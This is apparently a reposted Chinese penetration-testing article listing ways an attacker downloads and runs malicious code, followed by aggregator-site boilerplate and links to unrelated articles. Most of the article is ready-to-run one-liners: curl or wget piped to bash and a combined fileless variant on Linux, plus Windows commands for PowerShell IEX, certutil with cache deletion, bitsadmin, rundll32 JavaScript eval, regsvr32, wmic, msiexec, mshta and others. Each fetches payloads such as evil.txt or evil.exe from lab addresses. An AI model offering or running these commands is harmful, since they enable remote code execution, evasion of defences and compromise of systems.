通过命令下载执行恶意代码的几种姿势
在渗透过程中,攻击者往往需要通过命令下载执行恶意代码,实现信息收集、持久化、权限提升、防御绕过、提取凭证、横向移动、数据渗出等操作。
在目标主机执行恶意代码,可以分为上传/下载并执行恶意代码和无文件远程恶意代码执行。接下来,我们来总结一下Linux和Windows中下载和执行恶意代码的一些姿势。
一、Linux 远程恶意代码执行
01、curl
以用curl的方式执行http页面上的shell脚本,无需download,在本地机器上直接执行。
方式1:curl -fsSL http://192.168.99.19:8080/test.sh | bash
方式2:bash < <( curl http://192.168.99.19:8080/test.sh )
02、wget
执行wget命令远程下载恶意程序。
方式1:wget -q -O- http://192.168.99.19:8080/test.sh | bash
方式2:wget http://192.168.99.19:8080/shell.txt -O /tmp/x.php && php /tmp/x.php
curl+wget合并,实现无文件远程恶意代码执行。
bash -c '(curl -fsSL http://192.168.99.19:8080/test.sh||
wget -q -O- http://192.168.99.19:8080/test.sh)|bash -sh >/dev/null 2>&1&'
03、rcp
rcp命令用于复制远程文件或目录。
rcp root@x.x.x.x:./testfile testfile
04、scp
scp 是 rcp 的加强版,scp 是加密的,rcp 是不加密的。
scp username@servername:/path/filename /tmp/local_destination
05、rsync
使用rsync可以进行远程同步,拉取文件到本地服务器。
rsync -av x.x.x.x:/tmp/passwd.txt /tmp/passwd.txt
06、sftp
使用sftp下载远程服务器上的文件。
sftp admin@192.168.99.242 <<EOF
get /tmp/2.txt
quit
EOF
二、Windows 远程恶意代码执行
01、Powershell
利用powershell远程执行ps1脚本。
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.28.128/evil.txt'))"
02、Bitsadmin
利用bitsadmin命令下载文件到目标机器。
bitsadmin /transfer n http://192.168.28.128/imag/evil.txt d:\test\1.txt
03、certutil
用于备份证书服务,一般建议下载完文件后对缓存进行删除。
#下载文件
certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt test.php
#删除缓存
certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt delete
04、rundll32
使用rundll32.exe,可以通过mshtml.dll执行JavaScript ,依赖于WScript.shell这个组件
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.28.131:8888/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
05、regsvr32
远程加载执行,解析.src文件。
regsvr32.exe /u /n /s /i:http://192.168.28.131:8888/file.sct scrobj.dll
06、wmic
执行WMIC以下命令从远程服务器下载并运行恶意XSL文件:
wmic os get /FORMAT:"http://192.168.28.128/evil.xsl"
07、msiexec
用于安装Windows Installer安装包,可远程执行msi文件。
msiexec /q /i http://192.168.28.128/evil.msi
08、IEExec
IEexec.exe应用程序是.NET Framework附带程序,运行IEExec.exe并使用url启动其他程序。
crosoft.NET\Framework64\v2.0.50727>caspol.exe -s off
C:\Windows\Microsoft.NET\Framework64\v2.0.50727>IEExec.exe http://192.168.28.131/evil.exe
09、mshta
mshta用于执行.hta文件
mshta http://192.168.28.128/run.hta
10、msxsl
msxsl.exe是微软用于命令行下处理XSL的一个程序
msxsl http://192.168.28.128/scripts/demo.xml http://192.168.28.128/scripts/exec.xsl
11、pubprn.vbs
在Windows 7以上版本存在一个名为pubprn.vbs的微软已签名WSH脚本,可以利用来解析.sct脚本:
"C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs" 127.0.0.1 script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct
本文分享自微信公众号 - Bypass(Bypass--)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
在.NET Core中使用MongoDB明细教程(3):Skip, Sort, Limit, Projections
到目前为止,我们已经讨论了创建文档, 检索文档,现在让我们来研究一下文档排序,指定要跳过或限制返回的文档数量,以及如何进行投影。此篇文章中的实例代码摘录自原文,未像前几篇文章一样进行实际代码的验证。 作者:依乐祝 译文地址:https://www.cnblogs.com/yilezhu/p/13525942.html 英文地址:https://www.codementor.io/@pmbanugo/working-with-mongodb-in-net-part-3-skip-sort-limit-and-projections-oqfwncyka Limit 当我们查询一个文档时,我们有时不想返回所有符合过滤条件的文档,而只返回其中的一部分。这就是limit方法的具体应用。对于MongoDB,可以通过调用Find返回的IFindFluent的limit方法来限制文档的数量。因此,如果我查询数据库中年龄小于40岁的学生,我会得到以下信息: S/N: 1 Id: 582489339798f091295b9094, FirstName: Gregor, LastName: FelixS/N...
- 下一篇
微前端自检清单
最近在做公司微前端,整理了一份微前端搭建清单,如果你正在考虑是否要做微前端,不妨做个参考。 需求分析 技术方案分析 拆分方案分析 部署流程分析 需求分析 第一步,我们需要进行需求分析,以便真正清楚我们需要解决的问题是什么。 例如: 产品要新增一个业务模块 产品要修改项目样式 产品反馈项目启动太慢了 产品反馈页面跳转刷新很不友好 前两个需求是典型的业务需求,它的核心在于解决公司的业务问题,对于这一类需求,通常技术难度都不大,开发者只需要按照原型图,编写出对应的页面就可以了。 后两个需求是典型的技术需求,它的核心在于解决技术问题。通常来说,技术需求和用户体验有关,但不会影响项目功能,所以一般产品很少会提技术需求,都是由开发同学主导。 目前很多公司都不太重视技术需求,主要是因为和公司业务无关,不能带来真实可见的收益。其实不然,一些技术需求往往能产生巨大的成本收益,所以我们在做技术需求时,「首先需要得到公司的支持」。 为什么选择微前端 解决一个技术需求,有很多种方法,为什么选微前端? 我们看过微前端的发展史就会明白,它并不是凭空出现的,而是项目在不断发展过程中形成的,解决项目臃肿的技术方案。 ...
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
推荐阅读
最新文章
- Springboot2将连接池hikari替换为druid,体验最强大的数据库连接池
- CentOS7设置SWAP分区,小内存服务器的救世主
- Mario游戏-低调大师作品
- Docker使用Oracle官方镜像安装(12C,18C,19C)
- 2048小游戏-低调大师作品
- Jdk安装(Linux,MacOS,Windows),包含三大操作系统的最全安装
- MySQL8.0.19开启GTID主从同步CentOS8
- CentOS8安装Docker,最新的服务器搭配容器使用
- CentOS8安装MyCat,轻松搞定数据库的读写分离、垂直分库、水平分库
- CentOS7编译安装Cmake3.16.3,解决mysql等软件编译问题